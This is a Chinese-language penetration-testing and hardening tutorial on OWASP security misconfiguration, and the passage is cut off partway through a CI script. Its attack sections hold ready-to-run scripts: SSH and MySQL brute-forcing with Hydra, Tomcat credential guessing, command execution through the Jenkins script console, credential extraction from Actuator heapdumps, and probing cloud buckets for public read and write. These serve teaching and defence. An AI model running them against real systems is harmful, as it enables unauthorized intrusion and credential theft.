Skip to content

安全配置错误:默认口令、目录列表与 Actuator 未授权

A05 在 2021 榜单从第六升到第五。它有个特点:技术含量最低,但命中率最高。不需要懂内存布局,不需要绕过 WAF,只要扫一遍默认配置,往往就能拿到服务器。


一、新房交付忘了换锁

精装修新房,全小区通用的初始密码

你买了一套精装修的新房,开发商交付时配了门锁 —— 全小区通用的初始密码 123456

你觉得"反正没人知道我住这儿",一直没改。

半年后的一天,你发现家里进了人。不是被技术开锁,是有人拿着开发商给的通用钥匙串,挨家挨户试过来的。

安全配置错误(Security Misconfiguration) 就是这个意思:系统本身没毛病,但你没把它配安全。

六大坑位速览

#坑位典型表现危害
1默认凭据admin/admin、root/123456、tomcat/tomcat、test/test直接接管
2不必要的服务/功能开着 FTP、Telnet、调试端口、管理后台对公网开放攻击面扩大
3错误详情泄露详细的堆栈信息、调试模式开启、verbose 报错泄露路径/版本/结构
4目录列表 / 敏感文件目录浏览开启、.git/.env/备份文件可访问源码/凭据泄露
5云资源配置错误OSS/S3 桶公开读、安全组 0.0.0.0/0 全开数据泄露/入侵
6缺失安全加固无安全响应头、无 CSP、中间件未打补丁各类下游攻击

它对暴露面极其敏感

配置类漏洞的"触发"特别简单,通常只需要一个条件:攻击者能访问到那个配置错误的入口

这也就意味着——它对暴露面极其敏感

开发环境配置 → 误用到生产环境  → 最常见的成因(没有之一)
测试账号没删 → 生产环境仍可用
调试端口开放 → 从内网暴露到公网
备份文件放在 web 目录 → 可直接下载

💡 踩坑提示:我做过一个粗略统计,在配置类漏洞里,"开发配置泄漏到生产"占了将近一半。原因很现实:开发环境下 DEBUG=True、错误详情、测试账号都是"为了方便",而发布流程里没有任何环节检查这些配置。等上线了,就没人记得改回来。

十项里利用率最高的一项

OWASP 数据:CWE 集合 20 个,平均加权利用率 8.12% —— 这是十项里利用率最高的一项,也就是说配置错误是最容易被实际利用的漏洞类型。

典型场景:

场景一:默认口令接管后台

某系统使用了 Jenkins,管理员用默认安装配置,未启用认证。
攻击者访问 http://target:8080/ → 直接进入 Jenkins 控制台
→ 新建构建任务 → 执行任意 shell 命令 → 完全接管服务器

场景二:Spring Boot Actuator 未授权

访问 http://target/actuator → 返回所有端点列表
访问 http://target/actuator/heapdump → 下载 JVM 堆内存快照
→ 从堆内存中提取数据库密码、Redis 密码、AK/SK → 横向移动

📌 这个案例值得展开heapdump 是我在实战中见过杀伤力最大的配置错误之一。堆内存里往往明文躺着各种配置 —— 数据库连接串、云密钥、第三方 API Secret。用 jvisualvmMAT 打开 dump 文件,搜 passwordaksecret 就能挖到。一次未授权访问 = 全量凭据泄露。

场景三:.git 目录泄露

访问 http://target/.git/ → 目录可列表
→ 用工具把整个 .git 拖下来 → git checkout 恢复完整源码
→ 从源码里找硬编码密钥、未上线接口、逻辑漏洞

场景四:云存储桶公开

某 App 的图片上传用了对象存储,桶策略设为 public-read。
攻击者列出桶内所有对象 → 拿到全量用户上传的身份证照片、合同扫描件

场景五:目录列表

访问 http://target/backup/ → 显示文件列表
→ database_20240101.sql  ← 完整数据库备份,可直接下载

二、怎么扫出配置错误

黑盒扫描是主战场

与 A01/A03 不同,A05 几乎全靠黑盒扫描,代码审计反而作用有限(因为配置在部署层面,不在代码里)。

Step 1:信息收集 —— 先搞清楚对面是什么

bash
# 1. 识别服务指纹
whatweb https://target.com -v
# 或
curl -sI https://target.com | head -20
# 关注: Server, X-Powered-By, X-Generator, Set-Cookie 特征

# 2. 端口与服务探测
nmap -sV -sC -p- target.com -oA nmap_full --min-rate 1000
#   -sV  探测服务版本
#   -sC  使用默认脚本扫描
#   -p-  全端口(1-65535)
#   --min-rate 提高速率

# 3. Web 指纹识别(推荐,快且准)
whatweb -a 3 https://target.com

# 4. Nuclei 技术识别
nuclei -u https://target.com -t ~/nuclei-templates/technologies/ -silent

Step 2:目录与敏感文件爆破

bash
# ffuf 目录爆破(推荐,比 dirb/gobuster 快)
ffuf -u https://target.com/FUZZ \
     -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
     -mc 200,301,302,403 \
     -recursion -recursion-depth 2 \
     -o ffuf_result.json

#   -u  目标,FUZZ 是占位符
#   -w  字典
#   -mc 匹配的响应码(403 也要看,有时是"存在但被禁",值得记录)
#   -recursion 递归扫描发现的目录
#   -o  输出

# 敏感文件专项字典(重点!)
ffuf -u https://target.com/FUZZ \
     -w sensitive-files.txt -mc 200

# 自建敏感文件字典,至少包含这些:
cat > sensitive-files.txt << 'EOF'
.git/HEAD
.git/config
.git/index
.svn/entries
.env
.env.local
.env.production
.env.backup
config/database.yml
application.yml
application.properties
web.config
WEB-INF/web.xml
composer.json
package.json
package-lock.json
yarn.lock
Dockerfile
docker-compose.yml
.htpasswd
.htaccess
id_rsa
id_rsa.pub
web.zip
web.rar
www.zip
backup.zip
backup.sql
db.sql
database.sql
dump.sql
1.sql
test.php
info.php
phpinfo.php
adminer.php
phpMyAdmin/
admin/
manager/
console/
actuator
actuator/env
actuator/heapdump
actuator/beans
actuator/mappings
swagger-ui.html
swagger/index.html
api-docs
v2/api-docs
v3/api-docs
druid/index.html
solr/admin/info/system
jenkins/
manager/html
EOF

Step 3:Nuclei 批量扫配置错误(效率最高)

bash
# Nuclei 是发现 A05 类问题的首选工具,模板库覆盖非常全
nuclei -u https://target.com \
       -t ~/nuclei-templates/http/misconfiguration/ \
       -t ~/nuclei-templates/http/exposures/ \
       -severity high,critical \
       -o nuclei_a05.txt

# 批量目标
nuclei -l targets.txt \
       -tags misconfig,exposure,default-login \
       -rate-limit 20 \
       -o nuclei_batch.txt

# 常用参数说明
#   -t           模板文件或目录
#   -tags        按标签过滤: misconfig / exposure / tech / default-login / panel
#   -severity    严重度过滤: info/low/medium/high/critical
#   -rate-limit  每秒请求数(重要,别把目标打挂)
#   -o           输出文件
#   -silent      只输出结果行
#   -update-templates  更新模板库(定期执行)

# 更新模板库(重要!新 CVE 和配置检测模板不断加入)
nuclei -update-templates

Step 4:手动确认关键端点

自动化扫完之后,这几个端点必须手动看一眼(工具可能漏判):

bash
#!/usr/bin/env bash
# A05 关键端点人工核查脚本
# 用法: bash misconfig_check.sh https://target.com

TARGET="${1%/}"
echo "=========== 检查目标: $TARGET ==========="
echo

probe() {
  # probe <路径> <说明>
  local path="$1" desc="$2"
  local code size
  code=$(curl -s -o /tmp/probe_body.txt -w "%{http_code}" --max-time 8 "$TARGET$path" 2>/dev/null)
  size=$(wc -c < /tmp/probe_body.txt)
  printf "[%-3s] %-45s %-28s (%s bytes)\n" "$code" "$path" "$desc" "$size"
  # 200 且非空的,打印前 200 字节供判断
  if [ "$code" = "200" ] && [ "$size" -gt 0 ] && [ "$size" -lt 5000 ]; then
    echo "      └─ 预览: $(head -c 200 /tmp/probe_body.txt | tr '\n' ' ')"
  fi
}

echo "--- 版本控制泄露 ---"
probe "/.git/HEAD"        "Git 仓库头(泄露则源码可拖)"
probe "/.git/config"      "Git 配置(含远程地址,可能含凭据)"
probe "/.svn/entries"     "SVN 泄露"
probe "/.hg/"             "Mercurial 泄露"

echo
echo "--- 环境与配置文件 ---"
probe "/.env"             "Laravel/Node 环境变量(含 DB 密码!)"
probe "/.env.backup"      "env 备份"
probe "/web.config"       "IIS 配置(可能含连接串)"
probe "/WEB-INF/web.xml"  "Java Web 配置"
probe "/composer.json"    "PHP 依赖清单"

echo
echo "--- Spring Boot Actuator(高危)---"
probe "/actuator"                    "端点列表"
probe "/actuator/env"                "环境变量(含密码!)"
probe "/actuator/heapdump"           "堆转储(可提取明文凭据)"
probe "/actuator/beans"              "Bean 列表"
probe "/actuator/mappings"           "所有接口映射(接口清单)"
probe "/actuator/configprops"        "配置属性"
probe "/actuator/loggers"            "日志级别(可动态改)"
probe "/actuator/threaddump"         "线程栈"

echo
echo "--- 管理后台与控制台 ---"
probe "/admin"                       "通用后台"
probe "/admin/login"                 "后台登录"
probe "/manager/html"                "Tomcat 管理台"
probe "/console"                     "Weblogic/H2 控制台"
probe "/jenkins"                     "Jenkins"
probe "/druid/index.html"            "Druid 监控(含 SQL 记录)"
probe "/swagger-ui.html"             "Swagger 文档(接口清单)"
probe "/v2/api-docs"                 "Swagger API 定义"
probe "/solr/admin/info/system"      "Solr 系统信息"

echo
echo "--- 备份与数据包 ---"
probe "/backup.sql"      "数据库备份"
probe "/www.zip"         "整站打包"
probe "/web.zip"         "整站打包"
probe "/db.sql"          "数据库导出"
probe "/1.sql"           "常见备份名"

echo
echo "--- 调试与信息页 ---"
probe "/phpinfo.php"     "PHP 信息(泄露路径与配置)"
probe "/info.php"        "同上"
probe "/test.php"        "测试文件"
probe "/server-status"   "Apache 状态页"
probe "/nginx_status"    "Nginx 状态页"
probe "/.DS_Store"       "macOS 目录索引"
probe "/crossdomain.xml" "Flash 跨域策略"
probe "/robots.txt"      "爬虫协议(常泄露后台路径)"

echo
echo "--- 安全响应头检查 ---"
echo "响应头:"
curl -sI "$TARGET" --max-time 8 | grep -iE \
  "strict-transport|x-frame|x-content-type|content-security|x-xss|referrer|permissions-pol" \
  || echo "  ⚠️ 未发现任何安全响应头"

echo
echo "=========== 检查完成 ==========="

配置文件与部署脚本里的坑

配置问题主要在配置文件部署脚本里,审计重点:

bash
# 搜索调试模式开启(生产环境必须关闭)
grep -rnE "DEBUG\s*=\s*True|debug\s*:\s*true|APP_DEBUG=true" --include=*.{py,yml,yaml,env,properties}

# 搜索详细错误报告
grep -rnE "display_errors\s*=\s*On|display_errors\s*=\s*1|show_sql\s*:\s*true|verbose\s*=\s*True"

# 搜索硬编码的测试凭据
grep -rnE "(password|passwd|pwd)\s*[:=]\s*[\"']?(admin|123456|test|root|password)[\"']?" -i

# 搜索过宽的 CORS 配置
grep -rnE "Access-Control-Allow-Origin.*\*|allowedOrigins.*\*|allow_origins.*\[?\"?\*"

# 搜索 Actuator 全放开配置
grep -rnE "management\.endpoints\.web\.exposure\.include\s*=\s*\*|exposure:\s*include:\s*'\*'"

# 搜索关闭的安全特性
grep -rnE "ssl\s*=\s*false|verify\s*=\s*False|csrf.*disable|csrf.*enabled\s*=\s*false"

Docker / K8s 配置审计

bash
# 检查是否以 root 运行容器
grep -rn "USER root" Dockerfile*
# 若无 USER 指令 → 默认 root 运行(危险)

# 检查是否挂载了敏感目录
grep -rnE "volumes:|-\s*/var/run/docker.sock|-\s*/etc/" docker-compose.yml
# 挂载 docker.sock = 容器逃逸风险

# K8s 权限检查
kubectl get pods -o jsonpath='{.items[*].spec.securityContext}' | jq .
# 检查 runAsNonRoot / readOnlyRootFilesystem / allowPrivilegeEscalation

403 不等于安全

检测项请求/特征判断依据
目录列表访问 /backup/返回 HTML 文件索引页(含 "Index of")
.git 泄露访问 /.git/HEAD返回 ref: refs/heads/master
.env 泄露访问 /.env返回 DB_PASSWORD=xxx 等键值
Actuator访问 /actuator返回 JSON 端点列表
heapdump访问 /actuator/heapdump下载到 .hprof 二进制文件(几 MB~几百 MB)
默认口令用 admin/admin 登录登录成功(注意有的会提示"请修改密码")
详细错误提交畸形参数返回含堆栈路径的 500 页面
目录遍历访问 /static/../返回上级目录列表
备份文件访问 /www.zip直接下载到压缩包
云桶公开访问桶的 list API返回 XML 格式的对象列表
安全头缺失看响应头无 HSTS / CSP / X-Frame-Options

💡 踩坑提示403 不等于安全。很多运维知道要禁 .git,配了 deny all,但返回的是 Nginx 默认的 403 页面 —— 这本身没问题。问题在于有些配置用 location ~ /\.git { deny all; },而实际访问 /.git/HEAD 时因为正则没匹配到子路径,仍然可访问。判断依据是响应内容,不是状态码。


三、逐个击破:五类高价值目标

⚠️ 以下内容仅限授权渗透测试 / 自有系统 / 安全研究环境中使用。

默认口令:挨家挨户试钥匙串

bash
#!/usr/bin/env bash
# 常见服务默认口令检测(Hydra / curl 双方案)
# 用法: bash default_creds.sh 10.0.0.1

TARGET="$1"

echo "=========== 1. 端口扫描 ==========="
nmap -sV --open -p 21,22,23,25,110,143,443,445,1433,1521,3306,3389,5432,5900,6379,8080,8161,9200,11211,27017 "$TARGET" -oN ports.txt
cat ports.txt | grep -E "^[0-9]+/"

echo
echo "=========== 2. SSH 弱口令 (Hydra) ==========="
# -l 用户名  -P 密码字典  -t 并发  -vV 详细
hydra -l root -P /usr/share/wordlists/rockyou.txt \
      -t 4 -vV -f ssh://"$TARGET"
#   -t 4   并发 4(SSH 建议低并发,太高会触发防护)
#   -f     找到第一个成功密码就停止
#   -vV    显示每次尝试

echo
echo "=========== 3. FTP 匿名登录 ==========="
timeout 10 ftp -n "$TARGET" << 'EOF'
quote USER anonymous
quote PASS anonymous@example.com
quote PWD
quit
EOF
# 若返回 230 Login successful → 匿名登录可用

echo
echo "=========== 4. Redis 未授权访问 ==========="
# redis-cli 直连(无需密码即成功 = 未授权)
if timeout 5 redis-cli -h "$TARGET" -p 6379 ping 2>/dev/null | grep -q "PONG"; then
    echo "[!] Redis 未授权访问成立!"
    echo "[*] 可尝试写计划任务 / 写 SSH key / 写 webshell"
    redis-cli -h "$TARGET" -p 6379 info server | head -5
else
    echo "[-] Redis 需要认证或不可达"
fi

echo
echo "=========== 5. MySQL 弱口令 ==========="
hydra -l root -P /usr/share/wordlists/fasttrack.txt \
      -t 4 -f mysql://"$TARGET"

echo
echo "=========== 6. Tomcat 管理台 ==========="
for user in tomcat admin manager both; do
  for pass in tomcat admin manager s3cret password 123456; do
    code=$(curl -s -o /dev/null -w "%{http_code}" --max-time 5 \
      -u "$user:$pass" "http://$TARGET:8080/manager/html")
    if [ "$code" = "200" ]; then
      echo "[!] Tomcat 弱口令: $user:$pass"
    fi
  done
done

echo
echo "=========== 7. Jenkins 未授权 ==========="
code=$(curl -s -o /dev/null -w "%{http_code}" --max-time 8 "http://$TARGET:8080/jenkins/script")
if [ "$code" = "200" ]; then
  echo "[!] Jenkins 脚本控制台可未授权访问 → 可执行任意 Groovy 命令"
  echo "    利用: POST /jenkins/script  body: println 'whoami'.execute().text"
fi

echo
echo "=========== 完成 ==========="

Jenkins 脚本控制台利用(如果确认未授权):

bash
# Jenkins Script Console 可执行 Groovy,等同系统命令
curl -s -X POST "http://target:8080/jenkins/script" \
  --data-urlencode 'script=
def proc = "whoami".execute()
def out = new StringBuffer()
proc.waitForProcessOutput(out, null)
println out.toString()
'
# 预期回显: jenkins 或 root

.git 泄露:把整个源码仓库拖回家

bash
# 用 GitHack 恢复完整源码(最常用)
# 工具: https://github.com/lijiejie/GitHack
python3 GitHack.py http://target.com/.git/

# 原理:即使 .git 目录不能直接列目录,只要 .git/HEAD、.git/objects 等文件可访问,
#      就能逐个下载对象文件,在本地重建完整仓库

# 恢复后查看源码
cd target.com_git/
git log --oneline -20              # 查看提交历史(可能含敏感提交)
git status                          # 查看工作区状态
git checkout .                      # 恢复所有文件

# 从历史中提取硬编码密钥
git log -p | grep -iE "password|secret|api.?key|token" | head -50

# 用 gitleaks 扫整个历史
gitleaks detect --source . --log-opts="--all" -v

# 手动方式(无工具时)
mkdir -p /tmp/gitdump && cd /tmp/gitdump
curl -s http://target.com/.git/HEAD -o HEAD
curl -s http://target.com/.git/config -o config
# 然后按 objects 逐个下载,比较繁琐,建议直接用 GitHack

heapdump:一次未授权访问,全量凭据泄露

这是 A05 里收益最高的一个利用点,值得详细展开。

bash
# Step 1: 确认端点可访问
curl -s http://target.com/actuator | python3 -m json.tool
# 返回: {"_links":{"self":...,"env":...,"heapdump":...,"beans":...}}

# Step 2: 下载 heapdump(文件较大,需要时间)
curl -s -o heapdump.hprof "http://target.com/actuator/heapdump" --max-time 300
ls -lh heapdump.hprof
# 通常几十 MB 到几百 MB

# Step 3: 用 strings 快速提取明文字符串(最简单的方式)
strings heapdump.hprof | grep -iE "password|passwd|secret|apikey|api_key|accesskey|ak:|sk:" | head -50

# 更精确的提取(找配置项)
strings heapdump.hprof | grep -E "spring\.datasource|redis\.password|mysql://|jdbc:" | head -30

# 提取云密钥(阿里云/腾讯云 AK/SK 特征)
strings heapdump.hprof | grep -oE "(LTAI|AKID)[A-Za-z0-9]{16,}" | sort -u
# 阿里云 AccessKey ID 以 LTAI 开头
# 腾讯云 SecretId 以 AKID 开头

# 提取邮箱/手机号等(判断数据规模)
strings heapdump.hprof | grep -oE "[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}" | sort -u | head -20

用 MAT(Memory Analyzer Tool)做可视化分析

bash
# 1. 下载 MAT: https://www.eclipse.org/mat/downloads.php
# 2. 打开 heapdump.hprof
# 3. 使用 OQL 查询(比 strings 精确得多)

# OQL 查询示例:查找所有含 password 的 String 对象
SELECT * FROM java.lang.String s WHERE toString(s.value) LIKE ".*password.*"

# 查找数据库连接串
SELECT * FROM java.lang.String s WHERE toString(s.value) LIKE ".*jdbc:.*"

# 查找配置属性对象
SELECT * FROM org.springframework.boot.context.properties.source.ConfigurationPropertySourcesPropertySource

💡 踩坑提示:heapdump 文件很大,strings 输出会有海量噪音。优先用 grep 精确匹配关键词spring.datasource.passwordredis.passwordaccessKey),而不是泛泛地搜 password。另外注意别把 dump 下来的凭据外传,这是实打实的敏感数据。

云桶公开:加密做得再好也归零

bash
#!/usr/bin/env bash
# 云存储桶公开访问检测
# 用法: bash bucket_check.sh my-bucket

BUCKET="$1"

echo "=========== 阿里云 OSS ==========="
# OSS 的 list objects API
curl -s "https://${BUCKET}.oss-cn-hangzhou.aliyuncs.com/?max-keys=100" --max-time 10
# 若返回 XML 格式的 <ListBucketResult> → 桶公开可读
# 若返回 <Code>AccessDenied</Code> → 有权限控制

echo
echo "=========== 腾讯云 COS ==========="
curl -s "https://${BUCKET}-1254351430.cos.ap-guangzhou.myqcloud.com/?max-keys=100" --max-time 10
# 注意 APPID 部分要替换成实际的

echo
echo "=========== AWS S3 ==========="
curl -s "https://${BUCKET}.s3.amazonaws.com/?max-keys=100" --max-time 10
# 若返回 XML 列表 → 公开

# AWS CLI 方式(更详细)
aws s3 ls "s3://${BUCKET}" --no-sign-request 2>&1
# 若成功列出 → 公开可读

echo
echo "=========== 检查桶策略是否允许写入 ==========="
# 尝试上传一个测试文件(谨慎!仅在授权环境)
echo "test" > /tmp/__acl_test.txt
curl -s -X PUT --data-binary @/tmp/__acl_test.txt \
  "https://${BUCKET}.oss-cn-hangzhou.aliyuncs.com/__acl_test.txt" --max-time 10 -w "\nHTTP: %{http_code}\n"
# 返回 200 → 桶可公开写入(极其危险,可被挂马)

echo
echo "=========== 完成 ==========="

批量遍历(授权范围内)

bash
# 用 bucket-stream 或自定义脚本批量检测桶名
# 常见的桶名规律:公司名、公司名-backup、公司名-static、公司名-images
for name in company company-backup company-static company-images company-logs; do
  for region in oss-cn-hangzhou oss-cn-beijing oss-cn-shanghai; do
    code=$(curl -s -o /dev/null -w "%{http_code}" --max-time 5 \
      "https://${name}.${region}.aliyuncs.com/")
    echo "$name.$region → HTTP $code"
  done
done

目录列表与备份文件:database_20240101.sql

bash
#!/usr/bin/env bash
# 目录列表与备份文件批量发现
# 用法: bash dirlist_scan.sh https://target.com

TARGET="${1%/}"

# 常见备份文件命名规律(可扩充)
BACKUP_NAMES=(
  "backup.zip" "backup.tar.gz" "backup.sql" "backup.rar"
  "www.zip" "wwwroot.zip" "web.zip" "web.rar" "site.zip" "htdocs.zip"
  "db.sql" "database.sql" "data.sql" "dump.sql" "1.sql" "all.sql"
  "代码备份.zip" "%E4%BB%A3%E7%A0%81%E5%A4%87%E4%BB%BD.zip"  # URL 编码的中文名
  "backup_2024.zip" "backup_2025.zip" "backup_2026.zip"
  "sql.zip" "mysql.sql" "database_backup.sql"
)

# 常见年份后缀(爆破用)
YEARS=(2023 2024 2025 2026)
MONTHS=(01 02 03 04 05 06 07 08 09 10 11 12)

echo "=========== 备份文件探测 ==========="
for name in "${BACKUP_NAMES[@]}"; do
  code=$(curl -s -o /dev/null -w "%{http_code}" --max-time 6 "$TARGET/$name")
  size=$(curl -sI --max-time 6 "$TARGET/$name" | grep -i "content-length" | tr -d '\r' | awk '{print $2}')
  if [ "$code" = "200" ]; then
    echo "[!] 发现: /$name  (HTTP $code, $(( size / 1024 )) KB)"
  fi
done

echo
echo "=========== 按日期规律爆破 ==========="
for y in "${YEARS[@]}"; do
  for m in "${MONTHS[@]}"; do
    for suffix in ".sql" ".zip"; do
      name="backup_${y}${m}${suffix}"
      code=$(curl -s -o /dev/null -w "%{http_code}" --max-time 3 "$TARGET/$name")
      [ "$code" = "200" ] && echo "[!] 发现: /$name"
      name="${y}${m}${suffix}"
      code=$(curl -s -o /dev/null -w "%{http_code}" --max-time 3 "$TARGET/$name")
      [ "$code" = "200" ] && echo "[!] 发现: /$name"
    done
  done
done

echo
echo "=========== 目录列表探测 ==========="
DIRS=("/" "/static/" "/upload/" "/uploads/" "/files/" "/backup/" "/data/" "/logs/" "/tmp/" "/assets/" "/images/")
for d in "${DIRS[@]}"; do
  body=$(curl -s --max-time 6 "$TARGET$d")
  if echo "$body" | grep -qiE "Index of|<title>Directory|Directory listing|parent directory"; then
    echo "[!] 目录列表开启: $d"
  fi
done

echo
echo "=========== 完成 ==========="

四、基线、CI 卡点与防回退

建立可重复的安全基线

配置错误的根治思路是把"正确的配置"固化下来,并自动检查。靠人记住"上线前要改哪几项",早晚会漏。

基线检查清单(可直接抄用)

markdown
## Web 服务安全基线

### 应用配置
- [ ] DEBUG / APP_DEBUG = false
- [ ] 生产环境关闭详细错误回显,错误统一返回通用文案
- [ ] 删除所有测试账号、默认账号
- [ ] 所有默认口令已修改(数据库、中间件、后台、第三方组件)
- [ ] 关闭 Swagger / API 文档对公网的访问(或加认证)
- [ ] 关闭 Actuator 敏感端点(env/heapdump/beans/threaddump)
- [ ] 关闭目录列表(Nginx: autoindex off)
- [ ] 删除不必要的样例文件、文档、README

### 敏感文件
- [ ] 禁止访问 .git / .svn / .hg
- [ ] 禁止访问 .env / config.* 等配置文件
- [ ] web 根目录下无备份文件(*.sql / *.zip / *.bak)
- [ ] 无 phpinfo / test / info 等调试页面

### 网络与端口
- [ ] 管理后台仅内网/VPN 可访问
- [ ] 数据库、Redis、MQ 等中间件不对公网开放
- [ ] 安全组/防火墙最小化开放端口
- [ ] 关闭不必要的服务(Telnet / FTP 等明文协议)

### 安全响应头
- [ ] Strict-Transport-Security(HSTS)
- [ ] Content-Security-Policy
- [ ] X-Content-Type-Options: nosniff
- [ ] X-Frame-Options / frame-ancestors
- [ ] Referrer-Policy

### 云资源
- [ ] 对象存储桶无 public-read / public-read-write
- [ ] 安全组入站规则无 0.0.0.0/0 的敏感端口(22/3306/6379)
- [ ] 使用子账号和最小权限 RAM 策略,不用主账号 AK
- [ ] 开启操作审计(ActionTrail / CloudTrail)

### 容器
- [ ] 容器以非 root 用户运行
- [ ] 不挂载 docker.sock
- [ ] 镜像无高危漏洞(扫描通过)
- [ ] 只读根文件系统(如适用)

Nginx 加固配置(可直接套用)

nginx
# /etc/nginx/nginx.conf  主配置

# ===== 1. 隐藏版本号 =====
server_tokens off;      # 响应头不再显示 nginx/1.x.x

# ===== 2. 安全响应头(在 http 块或 server 块中配置)=====
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "SAMEORIGIN" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "geolocation=(), microphone=(), camera=()" always;
# CSP 按实际业务调整,先用较宽松的策略,再逐步收紧
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none'; frame-ancestors 'self'" always;
# HSTS(HTTPS 站点必配)
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;

# ===== 3. 限制请求方法 =====
# 只允许 GET/POST/HEAD,其余返回 405
if ($request_method !~ ^(GET|POST|HEAD)$ ) {
    return 405;
}

server {
    listen 443 ssl http2;
    server_name example.com;

    # ===== 4. 关闭目录列表(默认是 off,显式写出来更明确)=====
    autoindex off;

    # ===== 5. 禁止访问隐藏文件与敏感目录 =====
    location ~ /\.(?!well-known/) {
        deny all;
        return 404;      # 用 404 而非 403,避免暴露"文件确实存在"
    }

    # ===== 6. 禁止访问备份/配置文件 =====
    location ~* \.(sql|bak|old|backup|swp|log|conf|env|yml|yaml|ini|properties)$ {
        deny all;
        return 404;
    }

    # ===== 7. 禁止访问版本控制目录 =====
    location ~ /(\.git|\.svn|\.hg|\.bzr)/ {
        deny all;
        return 404;
    }

    # ===== 8. 管理后台限制来源 =====
    location /admin/ {
        allow 10.0.0.0/8;
        allow 172.16.0.0/12;
        deny all;

        auth_basic "Admin Area";
        auth_basic_user_file /etc/nginx/.htpasswd;

        proxy_pass http://backend;
    }

    # ===== 9. 限制请求体大小(防资源耗尽)=====
    client_max_body_size 10m;
    client_body_timeout 10s;
    client_header_timeout 10s;

    # ===== 10. 限流(防 CC / 爆破)=====
    limit_req_zone $binary_remote_addr zone=general:10m rate=10r/s;
    limit_req_zone $binary_remote_addr zone=login:10m rate=1r/s;   # 登录接口更严格

    location / {
        limit_req zone=general burst=20 nodelay;
        proxy_pass http://backend;
    }

    location /api/login {
        limit_req zone=login burst=5 nodelay;
        proxy_pass http://backend;
    }
}

Actuator 专项加固

yaml
# application-prod.yml  生产环境配置
management:
  endpoints:
    web:
      exposure:
        # 只暴露健康检查,其余全部关闭
        include: health,info
        # ❌ 绝不要这样: include: "*"
  endpoint:
    health:
      show-details: never      # 健康检查不显示详情
    # 显式关闭高危端点(双保险)
    env:
      enabled: false
    heapdump:
      enabled: false
    threaddump:
      enabled: false
    beans:
      enabled: false
    configprops:
      enabled: false
    loggers:
      enabled: false
    mappings:
      enabled: false
  # 换个不容易被猜到的端口和路径(纵深防御)
  server:
    port: 9090          # 与管理端口分离
  endpoints:
    web:
      base-path: /internal-actuator-9f3a2b   # 改掉默认 /actuator

# 如果必须用 /actuator,则必须加 Spring Security 保护

如果确实需要暴露部分端点,加认证

java
@Configuration
public class ActuatorSecurityConfig {

    @Bean
    public SecurityFilterChain actuatorFilterChain(HttpSecurity http) throws Exception {
        http
          // 只对 actuator 路径生效
          .securityMatcher(EndpointRequest.toAnyEndpoint())
          .authorizeHttpRequests(auth -> auth
              // 只有 ADMIN 角色可访问,其余全部拒绝
              .anyRequest().hasRole("ADMIN")
          )
          .httpBasic(Customizer.withDefaults())
          // 且限制只能内网访问(在网关或 Nginx 层再做一层)
          ;
        return http.build();
    }
}

云资源:桶私有 + 最小权限

对象存储(以阿里云 OSS 为例)

bash
# 1. 检查桶 ACL
ossutil stat oss://my-bucket
# 查看 ACL 字段,应为 private

# 2. 设置为私有
ossutil set-acl oss://my-bucket private

# 3. 禁止通过列出对象遍历
# 私有读写本身就是禁止匿名 list 的,关键是别开 public-read

# 4. 正确做法:用 STS 临时凭证 + 预签名 URL 给前端直传
# 前端请求后端 → 后端用 RAM 角色生成临时 STS 凭证(有效期 15 分钟)
# → 前端用临时凭证直传 OSS
# → 这样 AK/SK 永不出现在前端

RAM 最小权限策略示例

json
{
  "Version": "1",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "oss:GetObject",
        "oss:PutObject"
      ],
      "Resource": [
        "acs:oss:*:*:my-bucket/uploads/*"
      ],
      "Condition": {
        "IpAddress": {
          "acs:SourceIp": ["10.0.0.0/8"]
        }
      }
    }
  ]
}

要点:只允许 GetObject/PutObject(不给 ListObjects、不给 DeleteObject),限定到具体 bucket 的具体路径,并限制来源 IP。绝不使用主账号 AK

安全组最小化

bash
# 检查当前安全组规则,找出过宽的放行
# 高危规则特征:
#   授权对象 0.0.0.0/0 + 端口 22/3306/6379/3389/8080/9200/27017/1433

# 修复原则:
#   - SSH(22) / RDP(3389)  → 只允许办公网出口 IP
#   - MySQL(3306) / Redis(6379) / MongoDB(27017) → 只允许应用服务器内网 IP
#   - ES(9200) / Kafka / ZooKeeper → 只允许内网
#   - 只对外暴露 80/443

容器:非 root、只读、不挂 docker.sock

dockerfile
# Dockerfile 安全基线示例

# 1. 使用精简基础镜像(减少攻击面)
FROM eclipse-temurin:17-jre-alpine

# 2. 创建非 root 用户
RUN addgroup -S appgroup && adduser -S appuser -G appgroup

WORKDIR /app

# 3. 拷贝并设置属主
COPY --chown=appuser:appgroup target/app.jar app.jar

# 4. 切换到非 root 用户运行(关键!)
USER appuser

# 5. 只读根文件系统(运行时配合 --read-only)
# 6. 不安装不必要的工具(curl/wget/netcat 都不要装,增加逃逸难度)

EXPOSE 8080

# 7. 使用 exec 形式,确保信号能正确传递
ENTRYPOINT ["java", "-jar", "/app/app.jar"]
yaml
# docker-compose.yml 安全配置
services:
  app:
    image: myapp:latest
    read_only: true              # 只读根文件系统
    cap_drop:
      - ALL                      # 移除所有 capabilities
    security_opt:
      - no-new-privileges:true   # 禁止提权
    tmpfs:
      - /tmp:size=100m           # 需要写的目录用 tmpfs
    # ❌ 绝不要挂载 docker.sock
    # volumes:
    #   - /var/run/docker.sock:/var/run/docker.sock
    user: "1000:1000"            # 非 root

CI 卡点:防配置回退

这是防复发的关键 —— 把基线检查放进 CI,配置被改坏就构建失败。

bash
#!/usr/bin/env bash
# ci-config-check.sh —— CI 中的配置安全检查
# 用法: 在 CI pipeline 中调用,失败则阻断发布

set -uo pipefail
ERRORS=0

fail() { echo "❌ [FAIL] $1"; ERRORS=$((ERRORS+1)); }
pass() { echo "✅ [PASS] $1"; }
warn() { echo "⚠️  [WARN] $1"; }

echo "=========== 配置安全检查 ==========="

# 1. 检查调试模式
if grep -rnE "DEBUG\s*=\s*True|APP_DEBUG=true|debug:\s*true" \
     --include="*.env*" --include="*.yml" --include="*.yaml" --include="*.properties" . 2>/dev/null; then
    fail "检测到调试模式开启"
else
    pass "调试模式已关闭"
fi

# 2. 检查 Actuator 全暴露
if grep -rnE "exposure.*include.*\*|exposure:\s*include:\s*'\*'" \
     --include="*.yml" --include="*.yaml" --include="*.properties" . 2>/dev/null; then
